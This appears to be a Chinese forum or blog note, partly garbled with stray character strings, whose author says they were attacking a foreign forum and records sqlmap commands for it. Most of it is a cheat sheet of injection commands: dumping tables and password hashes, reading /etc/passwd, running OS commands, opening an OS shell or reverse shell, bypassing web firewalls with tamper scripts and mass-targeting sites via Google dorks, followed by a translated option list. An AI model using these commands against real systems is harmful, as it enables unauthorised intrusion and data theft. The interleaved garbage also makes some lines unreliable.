今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、4 p% G0 t5 ~; O
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称0 B9 g# w4 b o% }
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
5 F9 j( w1 }9 o& Osqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
, ^' V# P4 c& `6 f
5 i F+ B; C& r7 g0 o; ssqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
9 `$ K" q5 W6 n; P0 o0 #获取字段内容! g6 T- l2 J, _$ u3 {
. J1 S9 I- I: M) `) ]0 E4 ~
******************信息获取******************& f6 r0 T+ @. T4 |
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
( Q! O3 ]2 o) \2 {9 J& fsqlmap -u “http://url/news?id=1″ –users #列数据库用户
* E8 R2 @) a1 f6 a+ N# p) Lsqlmap -u “http://url/news?id=1″ –dbs#列数据库$ D6 F8 O+ V7 g! _
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
$ Z" O' T$ v% ~1 p1 Rsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
( a+ o+ b8 G& Z6 d. Z' Ysqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”$ q/ \9 z J; ~" P2 c1 ?- P
–start 1 –stop 20 #列出指定字段,列出20 条/ x+ \. m. U( }
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
7 e* h6 v! q- wsqlmap -u “http://url/news?id=1″ –privileges #查看权限) [4 F% \/ p. g8 w& \+ O# a9 i
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色6 u J+ ^1 x& H$ j0 m* e
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
) j* a* w, L( C: j- E& U' Wsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表+ T4 t% G% V0 X0 C, v) S
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
6 t: R! J# g* j1 x' T, {sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入0 `& |- l7 \& A" T5 s
sqlmap -u “http://url/news?id=1″-b #获取banner信息9 G9 x, S* ]3 F/ n
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
9 p0 O6 h4 [) x# g# usqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型6 ^, d- ~* A* Y+ B. h
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
. f V G& p# `( B; G* Hsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词9 ?5 t+ G& V% N. A$ {' h
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令: |' e4 y0 h8 ?) [" \' |
sqlmap -u “http://url/news?id=1″ –file /etc/passwd) ]/ |& m1 X! k9 [- v% X v
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
4 l$ {( K: @ z9 K: Q6 Q, Ksqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
# f. I0 s2 m7 S/ N8 p9 ]5 Jsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
, X' E3 X4 Y" Q& k( E' E, Ssqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
. l( ? `4 t3 Lsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
* l( B9 w1 Y- h Z v***********高级用法*************- d2 I/ x- S4 a# B
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入0 s$ f. n( ]& c* D8 b. j0 n
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
5 ?: y7 K6 c& T2 u" c) \& N% Z# N–technique 测试指定注入类型\使用的技术
7 H, x( D6 H3 \, I/ ~2 b" R不加参数默认测试所有注入技术3 ]# c6 G! x% M/ W* P- y$ B
• B: 基于布尔的SQL 盲注
) _* T( j: F5 H1 K: g. I• E: 基于显错sql 注入
( b; m# C' z' J1 z0 O+ M2 z9 N• U: 基于UNION 注入$ ?: R" X5 @3 L. P9 |0 d
• S: 叠层sql 注入- E! {% \- J. M
• T: 基于时间盲注
" Z q" s) N, T; Q–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()/ a$ W; @; O1 N5 R% q+ }, b: O
–tamper 插件所在目录; V' {$ ^; @6 E" o1 d% m
\sqlmap-dev\tamper( i. d4 c! O( Z1 R6 W9 ~
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能' X i) ^7 D1 y0 y' X9 W
level 执行测试等级 攻击实例:) S8 ^; a; x; [# M% B7 q0 s
Sqlmap -u “http://url/news?id=1&Submit=Submit”
/ Y* ^$ F, B5 e' F$ Q0 Z+ Q `9 V–cookie=”PHPSESSID=41aa833e6d0d- }$ A% d+ u0 j2 B' _
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user9 S: Y/ R5 ^, p9 V0 r$ \$ G
–password
( {; a) P, v- x) f$ {参考文档:http://sqlmap.sourceforge.net/doc/README.html6 z+ l5 K2 X. D' G- V4 c8 v
***********安装最新版本*************; X) \4 x) |, h1 k# S/ q
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版" ~9 L5 S; q- S+ U2 m' g
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
$ \; R9 a {" K# s安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件$ O9 V1 }/ X+ _1 K, G
sudo vim /home/当前用户/.bashrc
% q5 y- @' C5 C* v# v% `#任意位置加上:
9 z) {' d3 V) x! ?- i5 b% Halias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
2 ~5 j$ K& K) A如果想对所有用户有效 可设置全局 编辑下面的文件- O' G1 \0 U! J" v* t
vim /etc/profile
z; Q; }% h) L$ }5 t. E同样加上:
# a8 i9 P+ H: V: [: q- calias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
! y- h9 m' s' a& i& T******************windows 7 (x64) sqlmap install (SVN)************7 ~4 N4 L f& M) M5 p, S
http://www.python.org/getit/ 安装python5 w+ G+ U* u) Q- i4 O* N$ r+ c
http://www.sliksvn.com/en/download 安装windows svn client
, ]4 f2 x/ C L |1 d: J4 a, \svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
& H0 F2 d2 I+ X) B* s0 E0 X: \安装sqlmap0 n+ z+ P" S' M8 L% N& \0 T
*修改环境变量/ B h" |9 N3 K# i0 y
–version 显示程序的版本号并退出
* h, ^1 _+ t( p7 e$ c( n- B-h, –help 显示此帮助消息并退出# J: D! S* r. G- ?- d: O
-v VERBOSE 详细级别:0-6(默认为1)6 x5 p0 e. _9 p. B
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
' d# B9 w3 d* w# ^" f-d DIRECT 直接连接到数据库。9 t! a. F6 f+ L, V
-u URL, –url=URL 目标URL。
- ]) b+ ?& g7 _- W-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
* ~9 }. ^. v) R; c. P4 U1 R-r REQUESTFILE 从一个文件中载入HTTP 请求。
$ [$ K7 U# l* d9 ~) D+ T+ a6 t-g GOOGLEDORK 处理Google dork 的结果作为目标URL。. g' ?4 v$ h2 t# H
-c CONFIGFILE 从INI 配置文件中加载选项。* H& z0 p0 L" l2 `2 m) r
Request(请求)::0 s6 c6 W( o8 s. E4 x
这些选项可以用来指定如何连接到目标URL。
9 @* z3 D3 m" y$ c. V" @1 o: Y T–data=DATA 通过POST 发送的数据字符串! }) b. h! J1 \
–cookie=COOKIE HTTP Cookie 头! A0 S6 q$ Q( Y! l" u5 m
–cookie-urlencode URL 编码生成的cookie 注入, ]8 Q; v5 c7 k% N) j
–drop-set-cookie 忽略响应的Set –Cookie 头信息5 P( I9 x- K" u) [: Z1 W a9 n
, Y, V' O+ x/ f# K–user-agent=AGENT 指定 HTTP User –Agent 头
" ^0 M+ C [2 ]–random-agent 使用随机选定的HTTP User –Agent 头3 Y6 }* p7 ]5 E' o
–referer=REFERER 指定 HTTP Referer 头6 h( S: h% I) r
–headers=HEADERS 换行分开,加入其他的HTTP 头
2 u. g5 L9 R" a9 O, k% S–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)$ d: z# P0 h, e
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)& L& {( X- W$ Q# \' \& h
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
3 ?' V! `" L6 a& o–proxy=PROXY 使用HTTP 代理连接到目标URL' Q$ n' I, f7 a& @; H" E
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)$ g$ q$ X$ f+ \+ `. S
–ignore-proxy 忽略系统默认的HTTP 代理' Z% }& ]2 Q! Y% o0 N$ C! R3 l
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒( S- c, D4 v7 Y. n& o# w* a
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
0 t/ B$ `' [0 x7 V4 K. C! H–retries=RETRIES 连接超时后重新连接的时间(默认3)
. P1 R) A4 Y1 b, U) d. ^–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
% q/ {7 L4 J) L, [–safe-url=SAFURL 在测试过程中经常访问的url 地址- E" ~8 V) ~; \; |
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
! Z. Q/ O7 x+ \& K7 h' `. bOptimization(优化): 这些选项可用于优化SqlMap 的性能。6 [9 ]) T3 q6 q3 U6 k* Y7 r) M
-o 开启所有优化开关4 L6 X( x a+ X1 T7 F
–predict-output 预测常见的查询输出1 j: h, T+ F( J m+ b( _, O
–keep-alive 使用持久的HTTP(S)连接
) s' T3 Q; i' E' g* X1 s–null-connection 从没有实际的HTTP 响应体中检索页面长度
. F' o. L0 G6 x3 F6 T4 u–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
% T7 o# Q9 n: qInjection(注入):
2 h: a t, Z2 n B! r' o这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
; ^3 m4 p$ [6 ?- E* }4 a! @% x-p TESTPARAMETER 可测试的参数(S)
) I& `! m# H9 S" V' o–dbms=DBMS 强制后端的DBMS 为此值1 f3 E. C. L# D `+ b
–os=OS 强制后端的DBMS 操作系统为这个值! o. p' G0 L% S7 L7 d
–prefix=PREFIX 注入payload 字符串前缀" C8 b' k3 e# j2 M
–suffix=SUFFIX 注入 payload 字符串后缀+ N2 ?# ]4 k( b3 Q& {
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
$ D; }: n- m) W [6 p1 y) YDetection(检测):$ b9 @" n0 v; [! t
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。8 }. K& S; Y) U, [6 N
–level=LEVEL 执行测试的等级(1-5,默认为1)- O2 q0 _" i' A' v+ S" {
–risk=RISK 执行测试的风险(0-3,默认为1)
, d: J, `" I/ c3 D8 p–string=STRING 查询时有效时在页面匹配字符串6 B1 Y( n w7 S0 A1 V" ?
–regexp=REGEXP 查询时有效时在页面匹配正则表达式! R# h$ }& q9 B2 E4 P# U* F
–text-only 仅基于在文本内容比较网页
' Q5 j/ j- i6 d) H" T+ A0 b- O) [Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。4 Q ]* y0 e+ i6 i2 N
–technique=TECH SQL 注入技术测试(默认BEUST)9 a8 S) b ?2 @, S# }+ {6 H
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
+ \4 l6 R* G' B+ g/ J5 }9 s–union-cols=UCOLS 定列范围用于测试UNION 查询注入3 K" d5 i. U1 g: j4 |/ Y, N' f
–union-char=UCHAR 用于暴力猜解列数的字符
8 m2 A N" \" w7 R- w+ ^Fingerprint(指纹):
- ?: v# g5 [ F( N8 L0 E-f, –fingerprint 执行检查广泛的DBMS 版本指纹* C2 B' W7 d/ r: W
Enumeration(枚举):
8 z7 J8 j9 ^: |9 `( w
# I( X8 Y9 x+ ]9 B这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
* w. d0 }- \% R' e4 _! k4 ^-b, –banner 检索数据库管理系统的标识 A- m# j$ ~' @5 i5 A5 E4 k. Q
–current-user 检索数据库管理系统当前用户
$ z+ f/ r. k* M7 J0 X–current-db 检索数据库管理系统当前数据库
9 }' G- a4 O+ l, [: A' h; w" s* c–is-dba 检测DBMS 当前用户是否DBA
) f* M9 g3 w6 O5 ?–users 枚举数据库管理系统用户+ L7 |0 q& [$ z$ a& V) O6 d
–passwords 枚举数据库管理系统用户密码哈希
- D' l T5 j; ]: ^4 w# w" k0 O–privileges 枚举数据库管理系统用户的权限
: C0 t/ W' H; ~' n$ @& _1 M–roles 枚举数据库管理系统用户的角色
" y" x5 J$ L! d7 F/ x3 A: W–dbs 枚举数据库管理系统数据库3 W! k5 [$ I: \9 p5 y s/ e1 h5 f
–tables 枚举的DBMS 数据库中的表- N7 W1 K6 X& D- q2 k# _; l6 Z2 r
–columns 枚举DBMS 数据库表列# c" b8 \! u$ ^0 C
–dump 转储数据库管理系统的数据库中的表项+ P2 M2 P, ^' D Q& y
–dump-all 转储所有的DBMS 数据库表中的条目 z1 v( v, q2 V0 i- ]
–search 搜索列(S),表(S)和/或数据库名称(S)7 `" G" _2 H# B6 b9 ~- |+ @
-D DB 要进行枚举的数据库名
5 n! x9 z% O9 b-T TBL 要进行枚举的数据库表1 x a# x6 v' y# j j6 ]6 M( B
-C COL 要进行枚举的数据库列
* B G" C0 ?$ \-U USER 用来进行枚举的数据库用户3 B* P! X/ ^# W" L" e
–exclude-sysdbs 枚举表时排除系统数据库
9 u7 O$ c {( c. }8 w–start=LIMITSTART 第一个查询输出进入检索
. [. Q$ @, W/ ^! i" a" s+ G–stop=LIMITSTOP 最后查询的输出进入检索& p. H: z( W9 U8 e+ i
–first=FIRSTCHAR 第一个查询输出字的字符检索
7 O: K( }' k) V4 }- i# y4 e5 R8 g–last=LASTCHAR 最后查询的输出字字符检索8 O& _$ X& n' U8 b0 b& F1 r) a
–sql-query=QUERY 要执行的SQL 语句
- v/ X3 N9 _9 N+ z' y0 V–sql-shell 提示交互式SQL 的shell: s2 u/ q3 n8 _. W T
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。1 n6 G8 ?2 ?3 K9 ^
–common-tables 检查存在共同表% R6 N6 R- i7 j" H7 J
–common-columns 检查存在共同列
: E- q" D! J) ]1 k+ o0 `User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
1 ?* H4 s( E, `4 q–udf-inject 注入用户自定义函数. m6 z7 ~( c, b y0 a1 F
–shared-lib=SHLIB 共享库的本地路径
; k% |! g! U) uFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。! U+ K) b" K0 e9 A$ V3 c, G/ x5 J. \
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
3 R9 q( s7 P9 a& u: o2 j% z–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件4 ^2 l5 Q' y) S/ b( H9 h4 P" @
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径6 W8 X7 M9 \# t- C3 m# X- i
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
1 Y" C( c; f$ n& V: C2 K–os-cmd=OSCMD 执行操作系统命令& d C' g) V6 d0 V+ i
–os-shell 交互式的操作系统的shell
/ Z R0 m+ Z* a4 T) L1 E–os-pwn 获取一个OOB shell,meterpreter 或VNC% n2 e6 j( Y/ g2 \* v3 d1 b
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC4 \4 R" z. K' {5 |' x7 N
–os-bof 存储过程缓冲区溢出利用
$ O# W5 H: s4 E- G8 N–priv-esc 数据库进程用户权限提升6 H4 b7 ]$ R \
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
- s: J" l$ m% j( m ]. K. a$ f–tmp-path=TMPPATH 远程临时文件目录的绝对路径$ g1 i1 u" O/ L" p, n! x
, P" u# x, L+ S6 m2 P' K' e7 Q
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。& p8 G: p- o6 |4 S: k4 R( V
–reg-read 读一个Windows 注册表项值4 H8 i$ f5 Z6 q6 w2 j8 x- @
–reg-add 写一个Windows 注册表项值数据
& h8 Q2 B9 ~- n) b; M5 W+ N% M4 w8 n–reg-del 删除Windows 注册表键值
3 O- R/ e; L4 f+ |& M( E0 _8 S. d–reg-key=REGKEY Windows 注册表键+ T; T: y. o1 O0 A3 j
–reg-value=REGVAL Windows 注册表项值0 Q+ N4 k$ s+ q) A2 _
–reg-data=REGDATA Windows 注册表键值数据5 w" i# ]" y+ M5 c$ `* W1 P) `
–reg-type=REGTYPE Windows 注册表项值类型
/ i; I; d# x& v) r& ~ ?General(一般): 这些选项可以用来设置一些一般的工作参数。
2 V' |* f1 B/ v6 E-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中2 S) U# {7 x1 |" |6 n# T, T9 Z8 L- g9 I
-s SESSIONFILE 保存和恢复检索会话文件的所有数据, _" d P! r' G) }
–flush-session 刷新当前目标的会话文件4 ?* j8 _7 u# V
–fresh-queries 忽略在会话文件中存储的查询结果+ ]; U8 H- a7 q1 V' ^5 q( d4 q
–eta 显示每个输出的预计到达时间
' g( ?- [( ]6 k; G k$ i+ g–update 更新SqlMap9 w1 \/ H% C2 H' A) D
–save file 保存选项到INI 配置文件
) ~% M- F6 d! X' q( w' T–batch 从不询问用户输入,使用所有默认配置。
, P! S3 L Q: y, O9 z3 H4 RMiscellaneous(杂项):& a! |+ a3 Q; @9 q- W
–beep 发现SQL 注入时提醒: U3 E y Q) n6 v: v
–check-payload IDS 对注入payloads 的检测测试3 M' k; x {9 r# e, d& b4 V' D
–cleanup SqlMap 具体的UDF 和表清理DBMS* B* F% y8 G# n# }9 q
–forms 对目标URL 的解析和测试形式. n2 y6 I) w5 ?5 L+ V0 f) q8 _
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果. ]( W: Z! l$ ?; D, Q& [$ C
–page-rank Google dork 结果显示网页排名(PR)
0 D: |* |$ Z$ a: q+ ]' H–parse-errors 从响应页面解析数据库管理系统的错误消息6 @& ]6 A, v" r/ U$ L
–replicate 复制转储的数据到一个sqlite3 数据库
g6 U# |2 |2 ^/ G–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址) t) J7 J. E; O& m; M
–wizard 给初级用户的简单向导界面 |